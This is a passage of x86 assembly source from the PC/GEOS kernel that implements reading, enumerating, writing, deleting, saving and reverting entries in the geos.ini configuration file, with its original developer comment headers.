Assert okForRepMovsb
if DBCS_PCGEOS
rep movsw ; copy the string
clr ax ; null terminate the sucker
stosw
else
rep movsb ; copy the string
clr al ; null terminate the sucker
stosb
endif
pop cx ; restore the length
call MemUnlock ; unlock the buffer
tst bp ; did we need to allocate ??
jz done ; yes, so we're done
free:
pushf ; save carry flag
call MemFree ; else free the buffer
popf ; restore carry flag
done:
.leave
ret
; If we're allocating, just copy the string to the top of the buffer
allocate:
segmov es, ds
clr di ; destination buffer => ES:DI
jmp copyString ; go copy the string
InitFileReadStringSection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileEnumStringSection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enumerate a string section, calling the passed function
for every string found.
CALLED BY: GLOBAL
PASS: DS:SI = Category ASCIIZ string
CX:DX = Key ASCIIZ string
BP = InitFileReadFlags (IFRF_SIZE is of no importance)
DI:AX = Callback routine (fptr)
BX, ES = Data to pass to callback
RETURN: BX, ES = Data from callback
Carry = Set if callback returned carry set
DESTROYED: Nothing
For callback routine (must be delcared as far):
PASS: DS:SI = String section
(null-terminated)
DX = Section #
CX = Length of section
ES, BX = Data
RETURN: BX, ES = Data
Carry = Clear (continue enumeration)
= Set (stop enumeration)
MAY DESTROY: AX, CX, DX, DI, SI, BP, DS, ES
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 1/30/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitFileEnumStringSection proc far
uses ax, cx, dx, di, si, bp, ds
.enter
; Get entire string
;
push bx ; save passed data
andnf bp, not (mask IFRF_SIZE) ; always allocate
call InitFileReadString
pop dx ; data => DX
cmc
jnc done ; if error, we're done
push bx ; save string handle
mov bp, ax ; callback => DI:BP
call MemLock ; lock the returned string
mov ds, ax ; string segment => DS
mov bx, dx
; Now loop until we're done
;
mov_tr ax, cx ; buffer size => AX
clr dx ; start with the first string
enumLoop:
clr si ; start of strings => DS:SI
push ax ; save number of characters
mov_tr cx, ax ; number of charcters => CX
push dx ; save index #
call GetStringSectionByIndex ; string => DS:SI
pop dx ; restore index #
jc cleanUpNoCarry ; if not found, we're done
mov ss:[TPD_dataBX], bx ; set for passing to callback
mov bx, cx
DBCS < shl bx, 1 ; offset for NULL >
SBCS < clr al >
DBCS < clr ax >
SBCS < xchg ds:[si][bx], al ; null-terminate and fetch EOS>
DBCS < xchg ds:[si][bx], ax ; null-terminate and fetch EOS>
SBCS < push ax, cx, dx, di, si, bp, ds >
DBCS < push ax, bx, dx, di, si, bp, ds ; save byte offset >
mov_tr ax, bp ; offset => AX
mov bx, di ; segment => BX
call ProcCallFixedOrMovable ; call the callback routine
pop ax, cx, dx, di, si, bp, ds
xchg bx, cx ; bx <- offset, cx <- caller
; data
SBCS < mov ds:[si][bx], al ; restore actual EOS character>
DBCS < mov ds:[si][bx], ax ; restore actual EOS character>
mov bx, cx ; restore caller data
jc cleanUp ; LEAVE CARRY SET SO CALLER
; KNOWS CALLBACK RETURNED IT
; SO
pop ax ; restore number of characters
inc dx ; go to the next string section
jmp enumLoop
; Clean up things
cleanUpNoCarry:
clc
cleanUp:
pop ax ; clean up the stack
mov dx, bx
pop bx
lahf
call MemFree
sahf
done:
mov bx, dx
.leave
ret
InitFileEnumStringSection endp
COMMENT @----------------------------------------------------------------------
FUNCTION: InitFileRead
DESCRIPTION: Common routine for fetching data/strings
CALLED BY: InitFileReadString, InitFileReadData
PASS: bx - string/data specifier
0 = data
!0 = string
ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
bp - InitFileReadFlags
if IFRF_SIZE != 0
es:di - buffer to fill
else
allocate a buffer to place entry in
RETURN: if error
carry set
else
carry clear
bp - buffer handle (if buffer allocated)
cx - size of data read
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
------------------------------------------------------------------------------@
InitFileRead proc near
uses ax, bx, di, si, ds, es
.enter
test bp, mask IFRF_READ_ALL
jnz readAll
push bx
call EnterInitfileAndFindKey
jc error
;----------------------------------------------------------------------
;does user want us to use passed buffer or does he want us
; to allocate one?
mov cx, es:[bufFlag]
and cx, mask IFRF_SIZE ;isolate buffer size field
je provideBuf
les di, es:[bufAddr]
pop bx ;fetch operation specifier
call DoReconstruct
clr bp ;(clears carry)
jmp exit
error:
pop bx ;discard operation specifier
jmp exit
readAll:
call InitFileReadAll
jmp exit
provideBuf:
;----------------------------------------------------------------------
;user wants us to create buffer
;initFileBufPos points to first char in body
;find out size of body
call GetBodySize ;ax,cx <- func(es, bp)
mov es:[initFileBufPos], cx ;reset pos
;----------------------------------------------------------------------
;allocate buffer
inc ax ; one extra for null-terminator
DBCS < inc ax >
push ax
mov cx, ALLOC_DYNAMIC_LOCK
call MemAllocFar
pop cx ;cx = size of buffer
jc error ;if cannot allocate buffer, return
;that we didn't find entry
mov es, ax ;es:di <- buffer
clr di
pop ax ;fetch operation
push bx ;save handle
xchg ax, bx ;(1-byte inst)
call DoReconstruct
pop bx ;retrieve handle
call MemUnlock ;func(bx)
push cx
mov_tr ax, cx ;resize the buffer
mov ch, mask HAF_NO_ERR ;its getting smaller
call MemReAlloc
pop cx
mov bp, bx
clc ;return no error
exit:
call ExitInitfileGet
.leave
ret
InitFileRead endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileReadAll
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Read the strings for a given category/key from ALL the
init files into a single string.
CALLED BY: InitFileRead
PASS: ds:si - category
cx:dx - key
bp - InitFileReadFlags
RETURN: if error
carry set
else
carry clear
bp - handle of buffer containing all the data
cx - size of data read (including final null)
DESTROYED: ax,bx,cx,dx,di,si
PSEUDO CODE/STRATEGY:
Read each blob, and then terminate it with a CR/LF pair, so
that the caller will see one huge blob.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 2/ 4/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitFileReadAll proc near
clr ax
readFlags local InitFileReadFlags push bp
bufferHandle local hptr push ax
bufferSize local word push ax
bufferCurPtr local nptr.byte push ax
keyString local fptr.char push cx, dx
.enter
;
; Clear the FIRST_ONLY flag, in case the caller was foolish
; enough to pass it in (should probably fatal error in this
; case?)
;
push bp
mov bp, ss:[readFlags]
andnf bp, not mask IFRF_FIRST_ONLY
call EnterInitfileAndFindKey
pop bp
LONG jc done
startLoop:
push bp
mov bp, es
call GetBodySize ;ax,cx <- func(es, bp)
pop bp
mov es:[initFileBufPos], cx ;reset pos
SBCS < add ax, 2 ; make sure there's enough for >
DBCS < add ax, 2*(size wchar) ; make sure there's enough for >
; a CR/LF pair
add ax, ss:[bufferSize]
mov ss:[bufferSize], ax
mov bx, ss:[bufferHandle]
tst bx
jnz reAlloc
;
;allocate buffer
;
push ax ; buffer size
mov cx, ALLOC_DYNAMIC_LOCK
call MemAllocFar
pop cx ;cx = size of buffer
jc done ;if cannot allocate buffer, return
;that we didn't find entry
mov ss:[bufferHandle], bx
jmp afterAlloc
reAlloc:
clr cx
call MemReAlloc
jc doneUnlock ;branch if error to unlock
afterAlloc:
push es
mov es, ax
mov di, ss:[bufferCurPtr]
mov bx, IFOT_STRING
;
; DoReconstruct will probably use up less bytes than the
; original, so make sure we update the CurPtr field correctly
; afterwards.
;
mov cx, ss:[bufferSize]
sub cx, di
push bp
mov bp, segment dgroup
call DoReconstruct ; #cx - of bytes used.
pop bp
afterReconstruct::
;
; Back up to the NULL, and replace it with a CR/LF
;
clr ax
add di, cx
DBCS < shr cx, 1 ; # bytes -> # chars >
DBCS < EC <ERROR_C ILLEGAL_INIT_FILE_STRING >>
LocalPrevChar esdi ; es:di = end of string
std
LocalFindChar ; es:di = before null
DBCS < shl cx, 1 ; # chars -> # bytes >
cld
LocalNextChar esdi ; es:di = null
SBCS < mov {word} es:[di], (C_LF shl 8) or C_CR >
SBCS < add cx, 2 >
DBCS < mov {wchar} es:[di], C_CARRIAGE_RETURN >
DBCS < mov {wchar} es:[di]+2, C_LINE_FEED >
DBCS < add cx, 4 >
pop es
add ss:[bufferCurPtr], cx
;
; Now, move on to the next initfile
;
movdw cxdx, ss:[keyString]
call GetNextInitFileAndFindKey
LONG jnc startLoop
clc
;
; Well, no more strings -- nuke the last CR/LF we stored
;
mov bx, ss:[bufferHandle]
mov es, es:[bx].HM_addr
mov di, ss:[bufferCurPtr]
SBCS < mov {byte} es:[di-2], 0 >
DBCS < mov {wchar} es:[di-4], 0 >
SBCS < lea cx, es:[di-1] ; include the null >
DBCS < lea cx, es:[di-2] ; include the null >
;
; Finally (and very importantly), unlock the block...
;
doneUnlock:
call MemUnlock
done:
.leave
mov bp, bx ; buffer handle
ret
InitFileReadAll endp
InitfileRead ends
InitfileWrite segment resource
fileTerminationChar char C_CTRL_Z
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileGetTimeLastModified
DESCRIPTION: Returns the time of the last write to the initfile.
CALLED BY: GLOBAL
PASS: nothing
RETURN: cx:dx - system counter when initfile was last written to
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/90 Initial version
-------------------------------------------------------------------------------@
InitFileGetTimeLastModified proc far uses ds
.enter
LoadVarSeg ds, cx
mov cx, ds:[initfileLastModified].high
mov dx, ds:[initfileLastModified].low
.leave
ret
InitFileGetTimeLastModified endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileWriteData
DESCRIPTION: Writes a string out to the geos.ini file.
The string should be of the form
[category]
key = body of string
The routine InitFileReadData can then be called with the
category and key to locate the body of the string.
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
es:di - buffer containing data
bp - size of buffer
RETURN: nothing
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
-------------------------------------------------------------------------------@
InitFileWriteData proc far uses bx
.enter
mov bx, IFOT_DATA
call InitFileWrite
.leave
ret
InitFileWriteData endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileWriteString
DESCRIPTION: Writes a string out to the geos.ini file.
The string should be of the form
[category]
key = body of string
The routine InitFileReadString can then be called with the
category and key to locate the body of the string.
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
es:di - body ASCIIZ string
RETURN: nothing
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
-------------------------------------------------------------------------------@
InitFileWriteString proc far uses bx
.enter
DBCS < push bp >
if DBCS_PCGEOS
push cx
call LocalStringLength ; cx = num chars w/o null
inc cx ; cx = num char w/null
shl cx, 1 ; cx = # bytes
mov bp, cx ; bp = # bytes
pop cx
else
mov bx, IFOT_STRING
endif
call InitFileWrite
DBCS < pop bp >
.leave
ret
InitFileWriteString endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileWriteInteger
DESCRIPTION: Locates the given identifier in the geos.ini file
and writes out the value.
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
bp - value
RETURN: carry clear if successful
else carry set
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
-------------------------------------------------------------------------------@
InitFileWriteInteger proc far uses ax,bx,di,es
.enter
LoadVarSeg es, di
mov di, offset dgroup:[writeIntBuf]
mov ax, bp
push cx,di
call Hex16ToAscii ;es:di <- ASCIIZ string
clr al
stosb
pop cx,di
mov bx, IFOT_STRING
call InitFileWrite
.leave
ret
InitFileWriteInteger endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileWriteBoolean
DESCRIPTION: Writes a boolean out to the geos.ini file.
The category and the key should be supplied.
[category]
key = boolean
The routine InitFileReadBoolean can then be called with the
category and key to locate the body of the string.
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
ax - non-0 = TRUE
0 = FALSE
RETURN: nothing
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
-------------------------------------------------------------------------------@
InitFileWriteBoolean proc far uses bx, di, es
.enter
LoadVarSeg es, di
mov di, offset dgroup:[trueStr]
tst ax
jne doWrite
mov di, offset dgroup:[falseStr]
doWrite:
mov bx, IFOT_STRING
call InitFileWrite
.leave
ret
InitFileWriteBoolean endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileWriteStringSection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Appends a string onto the end of the "blob" denoted by
the passed category & key names.
CALLED BY: GLOBAL
PASS: DS:SI = Category ASCIIZ string
CX:DX = Key ASCIIZ string
ES:DI = NULL-terminated string to store
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
We're going to be stupid about this, and do it the
slow way.
Get existing string
Copy onto end of string (after appending CR/LF)
Write the resulting string
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 1/21/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitFileWriteStringSection proc far
call PushAllFar
; First determine the length of the new string section
;
push ds, si, cx, dx
push es, di
push cx
call LocalStringLength ; cx = length w/o null
inc cx ; cx = length w/null
mov ax, cx ; string length (w/NULL) => AX
pop cx
;
; Obtain the existing string from the LOCAL init file, if any
;
mov bp, mask IFRF_FIRST_ONLY ; allocate for us, please
call InitFileReadString ; memory handle => BX
jc noStringsNoMem
jcxz noStrings
pop ds, si ; string to add => DS:SI
mov_tr dx, ax ; new string length => DX
DBCS < call MemLock >
DBCS < mov es, ax ; es:di = existing string>
DBCS < clr di >
DBCS < call LocalStringLength ; cx = length w/o null >
mov_tr ax, cx ; existing length => AX
push ax
add ax, dx ; add in new string length
add ax, 2 ; add in CR/LF length
DBCS < shl ax, 1 ; # chars -> # bytes >
SBCS < mov ch, mask HAF_LOCK ; HeapAllocFlags => CH >
DBCS < mov ch, 0 ; DBCS: already locked >
call MemReAlloc ; reallocate block & lock it
mov es, ax
pop di ; end of buffer => ES:DI
DBCS < shl di, 1 ; char offset -> byte offset>
if DBCS_PCGEOS
mov ax, C_CARRIAGE_RETURN
stosw
mov ax, C_LINE_FEED
stosw
mov cx, dx ; cx = # chars
EC < ERROR_C ILLEGAL_INIT_FILE_STRING >
rep movsw
else
mov ax, C_CR or (C_LF shl 8)
stosw
mov cx, dx
rep movsb
endif
clr di
; Now store the string back in the .INI file
;
writeString:
pop cx, dx ; key name => CX:DX
pop ds, si ; category name => DS:SI
call InitFileWriteString
tst bx ; any allocate buffer ??
jz done
call MemFree ; else free allocate buffer
done:
call PopAllFar
ret
; Category/key wasn't found, so we must be the first string
;
noStringsNoMem:
clr bx ; no memory to free
noStrings:
pop es, di ; string buffer => ES:DI
jmp writeString ; now write the string
InitFileWriteStringSection endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileWrite
DESCRIPTION: Common code for modifying the init file
CALLED BY: INTERNAL
PASS: bx - mode
0 for data op, -1 for string op
ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
if bx = 0
es:di - buffer containing data
bp - size of buffer
else
es:di - body ASCIIZ string
RETURN:
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
-------------------------------------------------------------------------------@
InitFileWrite proc near
uses ax, bx, cx, di, si, bp, ds, es
.enter
push bx
call EnterInitfile ;es, bp <- dgroup, destroys ax, bx
pop bx
mov es:[buildBufHan], 0
cmp bx, IFOT_STRING
mov bx, offset BuildEntryFromString ; Assume string operation
je doWrite
mov bx, offset BuildEntryFromData ; Nope. data.
doWrite:
call bx ;destroys ax, bx
;-----------------------------------------------------------------------
;does category exist
call FindCategory ;carry <- func(ds:dx)
jnc categoryExists
call CreateCategory ;func(es, ds:dx), destroys ax
jmp short insertBody
categoryExists:
;-----------------------------------------------------------------------
;category exists
;does key exist
call FindKey ;carry <- func(es,ds:si)
jc createEntry
;-----------------------------------------------------------------------
;key exists
;replace current entry
call DeleteEntry
; jmp short insertBody
createEntry:
;body insertion pos = next category
; call GetChar
; cmp al, '[' ;halted at new category?
; jne insertBody
; dec es:[initFileBufPos]
insertBody:
EC< call IFCheckDgroupRegs >
mov cx, es:[entrySize]
call MakeSpace ;func(es,cx), destroys ax, di
EC< call IFCheckDgroupRegs >
mov ds, es:[buildBufAddr]
clr si
les di, es:[initFileBufPos] ;es:di <- space
rep movsb
mov es, bp
;-----------------------------------------------------------------------
;store time
call TimerGetCount ;bx:ax <- system timer count
mov word ptr es:[initfileLastModified+2], bx
mov word ptr es:[initfileLastModified], ax
mov bx, es:[buildBufHan]
tst bx
je done
call MemFree
done:
;check the .ini file, in case it was corrupted by something
;that we just wrote out to it.
if ERROR_CHECK
call CheckNormalECEnabled ; only check if ECF_NORMAL set
jz afterCheck
push ax, cx, ds
call IFCheckDgroupRegs ;assert es = dgroup (kdata)
mov ax, es:[initFileBufSegAddr]
mov ds, ax
mov cx, es:[loaderVars].KLV_initFileSize
dec cx
call ValidateIniFileFar ;saves all regs that it trashes
ERROR_C CORRUPTED_INI_FILE
pop ax, cx, ds
afterCheck:
endif
if HASH_INIFILE
call HashUpdateHashTable
endif
call ExitInitfile
clc ;return no errors
.leave
ret
InitFileWrite endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileDeleteStringSection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Deletes the specific string from the "blob" denoted by
the category and key names.
CALLED BY: GLOBAL
PASS: DS:SI = Category ASCIIZ string
CX:DX = Key ASCIIZ string
AX = 0-based string number to remove
RETURN: Carry = Clear if successful
= Set if error
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
We're going to be stupid about this, and do it the
slow way.
Get existing string
Remove the desired string
Write the resulting string
If this is the last section in the key (i.e. deleting it
would make the key empty), we just delete the key, rather
than writing an empty blob out.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 1/21/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitFileDeleteStringSection proc far
uses ax, bx, di, bp, es
.enter
; First get the blob
;
push cx
clr bp ; allocate memory for us
call InitFileReadString ; memory handle => BX
mov bp, cx ; size of original string => BP
pop cx
jc exit ; if error, we abort
; Now we find the string section we want
;
push ds, si, cx, dx
mov_tr dx, ax ; string number => DX
mov cx, bp ; string size => CX
call MemLock
mov ds, ax ; start of string => DS:SI
mov es, ax
clr si
call GetStringSectionByIndex ; get start of section to nuke
jc done ; if error, abort
; Now determine how much we need to delete. We are always going
; to assume that there is a CR/LF pair separating each section,
; to make things a lot easier.
;
mov di, si ; destination => ES:DI
DBCS < shl cx, 1 ; # chars -> # bytes >
add si, cx ; go to end of section
mov cx, ax ; # of chars left => CX
jcxz atEnd
SBCS < add si, 2 ; jump past CR/LF separator>
DBCS < add si, 4 ; jump past CR/LF separator>
sub cx, 2 ; move two fewer chars
DBCS < jc forceTerminate ; only one char, must be NULL>
SBCS < rep movsb ; move the chars >
DBCS < rep movsw ; move the chars >
jmp terminate ; go terminate the string
DBCS <forceTerminate: >
DBCS < xor cx, cx ; clear cx and carry >
DBCS < jmp terminate >
; We're at the end. Either back up two character for the destination
; or we have no more strings left
atEnd:
tst di
jz terminate
SBCS < sub di, 2 >
DBCS < sub di, 4 >
; We're done. Write the string back to .INI file
terminate:
SBCS < mov es:[di], cl ; store the NULL terminator>
DBCS < mov es:[di], cx ; store the NULL terminator>
done:
pop ds, si, cx, dx ; restore category & key names
jc free ; if error, free memory only
tst di ; anything left?
jz deleteEntry ; no -- nuke it
clr di ; string => ES:DI
call InitFileWriteString ; write the resulting string
; Now free the buffer, and we're done
free:
pushf ; save carry flag
call MemFree ; free buffer used earlier
popf ; restore carry flag
exit:
.leave
ret
deleteEntry:
call InitFileDeleteEntry
jmp free
InitFileDeleteStringSection endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileDeleteEntry
DESCRIPTION: Deletes a key entry from a category
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
RETURN: nothing
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 6/90 Initial version
-------------------------------------------------------------------------------@
InitFileDeleteEntry proc far
uses ax, bx, cx, di, si, bp, ds, es
.enter
call EnterInitfile ;es,bp <- dgroup
call FindCategory
jc exit
call FindKey ;initFileBufPos = body, curKeyOffset
jc exit
;-----------------------------------------------------------------------
;locate end of body
clr bx ;not starting in blob
call GetCharFar
jc exit
cmp al, '{' ;blob?
jne doDelete
mov bx, TRUE ;now processing blob
mov al, '}'
call FindCharFar ;pos = pos past char
EC< ERROR_C INIT_FILE_BAD_BLOB >
doDelete:
;-----------------------------------------------------------------------
;delete key + body
mov al, '\n' ;locate a carraige return
call FindCharFar ;pos = pos past LF
mov si, es:[initFileBufPos]
mov ax, si
mov di, es:[curKeyOffset]
if HASH_INIFILE
push di
endif ; HASH_INIFILE
sub ax, di ;ax <- num chars to delete
mov cx, es:[loaderVars].KLV_initFileSize
push cx
sub cx, si
inc cx
mov bx, es:[initFileBufSegAddr] ;ds <- dgroup
mov ds, bx
mov es, bx
rep movsb
pop cx
sub cx, ax ;cx <- num chars left
mov es, bp ;es <- dgroup
mov es:[loaderVars].KLV_initFileSize, cx
if HASH_INIFILE
pop di
mov cx, ax
neg cx
call HashUpdateHashTable
endif
exit:
call ExitInitfile
.leave
ret
InitFileDeleteEntry endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileDeleteCategory
DESCRIPTION: Deletes an entire category of data from the initfile
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
RETURN: nothing
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 6/90 Initial version
-------------------------------------------------------------------------------@
InitFileDeleteCategory proc far
uses ax, bx, cx, dx, di, si, bp, ds, es
.enter
; There *must* be a valid pointer in CX:DX, as EnterInitfile
; always expects a key to be passed. So, put something valid in CX:DX
;
mov cx, ds
mov dx, si
; Find the starting & ending bytes of the requested category.
; Note that the category's starting position is actually the byte
; after the ']' character
;
call EnterInitfile ;es,bp <- dgroup
call FindCategory
jc exit
mov al, '['
clr bx ;not starting in blob
call FindCharFar ;pos = pos past char
jc doDelete ;if c set, pos = eof
dec es:[initFileBufPos]
; Now delete the category
doDelete:
mov si, es:[initFileBufPos]
mov di, es:[curCatOffset]
mov dx, es:[loaderVars].KLV_initFileSize
push dx
mov ax, es:[initFileBufSegAddr]
mov ds, ax ;ds <- initfile buffer
mov es, ax ;es <- initfile buffer
; Find the actual first character of the category, by
; scanning in reverse for a '[' character
;
std ;scan in reverse
mov cx, dx ;it's got to be there, sp use file size
mov al, '[' ;al <- character to scan for
repne scasb
EC < ERROR_NZ INIT_FILE_START_OF_CATEGORY_NOT_FOUND >
cld
inc di ;es:di <- start of category
; Now perform the actual category removal
;
mov ax, si
sub ax, di ;ax <- num chars to delete
if HASH_INIFILE
;
; Remove the cateogry from the hash table
;
push es
mov es, bp ;es - dgroup
mov cx, ax
neg cx
call HashUpdateHashTable
call HashRemoveCategory
pop es
endif
mov cx, dx ;cx <- initfile size
sub cx, si
inc cx ;cx <- bytes to move
rep movsb
; Clean up some cached values
;
pop cx
sub cx, ax ;cx <- num chars left
mov es, bp ;es <- dgroup
mov es:[loaderVars].KLV_initFileSize, cx
; clear the cache!
mov es:[curCatOffset], CATEGORY_NOT_CACHED
exit:
call ExitInitfile
.leave
ret
InitFileDeleteCategory endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileSave
DESCRIPTION: Saves the initfile
CALLED BY: GLOBAL
PASS: nothing
RETURN: carry - clear if successful
- set otherwise
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 6/90 Initial version
-------------------------------------------------------------------------------@
InitFileSave proc far
uses ax, bx, cx, dx, ds
.enter
; Change to correct directory
;
call FilePushDir
mov ax, SP_PRIVATE_DATA
call FileSetStandardPath
; lock buffer after grabbing semaphore
;
call LoadVarSegDS_PInitFile
mov bx, ds:[loaderVars].KLV_initFileBufHan
push bx
call MemLock
mov ds:[initFileBufSegAddr], ax
mov ax, (FILE_ACCESS_RW or FILE_DENY_RW) or \
((mask FCF_NATIVE or FILE_CREATE_TRUNCATE) shl 8)
mov cx, FILE_ATTR_NORMAL ;file attributes
mov dx, offset initfileBackupName
call FileCreate
jc done
mov bx, ax ;bx <- file handle
push ds
mov al, FILE_NO_ERRORS
mov cx, ds:[loaderVars].KLV_initFileSize
mov ds, ds:[initFileBufSegAddr]
clr dx
call FileWriteFar
pop ds
; mov ds:[initFileBackupSize], cx
mov al, FILE_NO_ERRORS
call FileCloseFar
clc ;clear carry to indicate success
done:
pop bx ;retrieve mem handle
call MemUnlock ;release buffer
call VInitFileWrite ;release semaphore
call FilePopDir
.leave
ret
InitFileSave endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileRevert
DESCRIPTION: Restores the backed-up initfile
CALLED BY: GLOBAL
PASS: nothing
RETURN: carry - clear clear if successful
- set otherwise
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 6/90 Initial version
-------------------------------------------------------------------------------@
InitFileRevert proc far
uses ax, bx, cx, dx, ds
.enter
; Change to the correct directory
;
call FilePushDir
mov ax, SP_PRIVATE_DATA
call FileSetStandardPath
; Lock buffer after grabbing semaphore
;
call LoadVarSegDS_PInitFile
mov bx, ds:[loaderVars].KLV_initFileBufHan
mov al, FILE_ACCESS_R or FILE_DENY_RW
mov dx, offset initfileBackupName
call FileOpen
jc done
push bx
mov bx, ax ;bx <- file handle
call FileSize ;AX = file size
; realloc initfile buffer
;
push bx ;save file handle
; mov ax, ds:[initFileBackupSize]
push ax ;save size
mov bx, ds:[loaderVars].KLV_initFileBufHan
mov ch, mask HAF_ZERO_INIT or mask HAF_LOCK or mask HAF_NO_ERR
call MemReAlloc
mov ds:[initFileBufSegAddr], ax ;update seg addr
pop cx
mov ds:[loaderVars].KLV_initFileSize, cx ;change size
pop bx ;retrieve file handle
; read file in
; ax = seg addr of buffer
; cx = size
;
push ds
mov ds, ax
clr dx ;ds:dx <- initfile buffer
mov al, FILE_NO_ERRORS
call FileReadFar ;cx <- # bytes
mov al, FILE_NO_ERRORS
call FileCloseFar
pop ds
clc ;indicate success
pop bx ;retrieve mem handle
call MemUnlock ;release buffer
done:
call VInitFileWrite ;release semaphore
call FilePopDir
.leave
ret
InitFileRevert endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: INITFILECOMMIT
DESCRIPTION: Commits the initfile to the disk
CALLED BY: GLOBAL
PASS: nothing
RETURN: nothing
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 6/90 Initial version
